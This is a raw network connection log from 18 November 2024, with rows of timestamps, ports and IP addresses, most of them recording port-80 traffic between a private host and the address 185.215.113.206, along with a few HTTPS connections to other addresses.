Nov 18, 2024 00:27:56.549109936 CET	443	50009	23.198.7.174	192.168.2.6
Nov 18, 2024 00:27:56.563678026 CET	443	50000	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.563827038 CET	443	50000	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.563936949 CET	50000	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.564254045 CET	50000	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.564254045 CET	50000	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.564276934 CET	443	50000	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.564291000 CET	443	50000	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.567312002 CET	50022	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.567336082 CET	443	50022	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.567634106 CET	50022	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.567795038 CET	50022	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.567806959 CET	443	50022	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.589232922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589248896 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589273930 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589286089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589291096 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.589297056 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589308023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589313030 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.589322090 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589332104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589351892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589354038 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.589369059 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.589397907 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.589405060 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589415073 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589425087 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589438915 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589446068 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.589451075 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589463949 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589481115 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.589504957 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.589677095 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589721918 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589732885 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589761972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589768887 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.589802980 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.589852095 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589863062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589874029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589885950 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589898109 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589901924 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.589911938 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589924097 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589934111 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.589936018 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.589945078 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.589965105 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.589993954 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.590008974 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590022087 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590033054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590099096 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.590148926 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590179920 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590190887 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590192080 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.590239048 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.590289116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590310097 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590322018 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590342045 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.590363979 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.590375900 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.590403080 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590414047 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590425014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590451002 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.590500116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590507984 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.590512991 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590523958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590538025 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590550900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590557098 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.590563059 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590575933 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.590610981 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.590639114 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590684891 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590686083 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.590693951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590744019 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.590764999 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590775013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590814114 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590816021 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.590826035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590843916 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590856075 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590872049 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.590888023 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.590950012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590960979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590971947 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590986013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.590996981 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591012001 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.591033936 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.591564894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591578007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591589928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591603994 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591618061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591619015 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.591629028 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591634989 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.591639996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591655016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591667891 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591676950 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.591681957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591695070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591707945 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.591725111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591727018 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.591737032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591752052 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.591770887 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.591774940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591815948 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.591850996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591862917 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591876030 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591887951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591901064 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591906071 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.591928005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591938972 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.591959000 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.591970921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591981888 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.591983080 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.591996908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592022896 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592039108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592051029 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592051983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592077971 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592078924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592103004 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592119932 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592123032 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592170954 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592308998 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592391968 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592403889 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592416048 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592416048 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592430115 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592434883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592448950 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592453957 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592461109 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592475891 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592485905 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592487097 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592505932 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592509985 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592518091 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592528105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592535019 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592550039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592555046 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592561960 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592573881 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592581987 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592586040 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592600107 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592609882 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592626095 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592648029 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592665911 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592667103 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592678070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592716932 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592756033 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592767954 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592792034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592798948 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592804909 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592818022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592825890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592852116 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592856884 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592870951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592875004 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592890024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592901945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592914104 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592936039 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592957020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592962027 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.592968941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.592981100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.593000889 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.593029976 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.593056917 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.593067884 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.593079090 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.593091965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.593103886 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.593103886 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.593130112 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.593146086 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.593153000 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.593164921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.593174934 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.593204021 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.593230963 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.630060911 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.630125999 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.630136967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.630147934 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.630160093 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.630198956 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.630218983 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.655168056 CET	50013	443	192.168.2.6	23.198.7.179
Nov 18, 2024 00:27:56.655196905 CET	443	50013	23.198.7.179	192.168.2.6
Nov 18, 2024 00:27:56.655232906 CET	50012	443	192.168.2.6	204.79.197.219
Nov 18, 2024 00:27:56.655234098 CET	50009	443	192.168.2.6	23.198.7.174
Nov 18, 2024 00:27:56.655240059 CET	50011	443	192.168.2.6	204.79.197.219
Nov 18, 2024 00:27:56.655246973 CET	443	50012	204.79.197.219	192.168.2.6
Nov 18, 2024 00:27:56.655280113 CET	443	50011	204.79.197.219	192.168.2.6
Nov 18, 2024 00:27:56.683510065 CET	443	50014	20.125.209.212	192.168.2.6
Nov 18, 2024 00:27:56.683933020 CET	50014	443	192.168.2.6	20.125.209.212
Nov 18, 2024 00:27:56.683945894 CET	443	50014	20.125.209.212	192.168.2.6
Nov 18, 2024 00:27:56.684284925 CET	443	50014	20.125.209.212	192.168.2.6
Nov 18, 2024 00:27:56.684700012 CET	50014	443	192.168.2.6	20.125.209.212
Nov 18, 2024 00:27:56.684755087 CET	443	50014	20.125.209.212	192.168.2.6
Nov 18, 2024 00:27:56.684921980 CET	50014	443	192.168.2.6	20.125.209.212
Nov 18, 2024 00:27:56.706306934 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706341028 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706355095 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706367970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706396103 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.706403971 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706415892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706429005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706434965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706444025 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.706459999 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706469059 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.706470966 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706484079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706487894 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.706513882 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.706564903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706576109 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706587076 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706610918 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.706624031 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.706653118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706665039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706679106 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706691027 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706697941 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.706727982 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.706757069 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706774950 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706787109 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706799030 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706809044 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.706811905 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706831932 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.706856966 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706866980 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.706867933 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706893921 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.706917048 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706918955 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.706928015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706938028 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.706948042 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.706962109 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.706978083 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.707043886 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707055092 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707065105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707086086 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.707108974 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.707328081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707345963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707357883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707369089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707381010 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707382917 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.707412004 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.707508087 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707520008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707530022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707551003 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.707575083 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.707581043 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707592010 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707602024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707612038 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.707612991 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707624912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707633972 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.707660913 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.707843065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707854986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707865953 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707882881 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.707910061 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.707928896 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707940102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707950115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707962036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.707973003 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.708038092 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708049059 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708059072 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708064079 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.708081007 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.708096981 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.708336115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708347082 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708358049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708376884 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.708404064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.708574057 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708585024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708595037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708606958 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.708625078 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.708638906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.708647013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708657980 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708668947 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708678007 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.708698988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.708709002 CET	80	49889	185.215.113.206	192.168.2.6
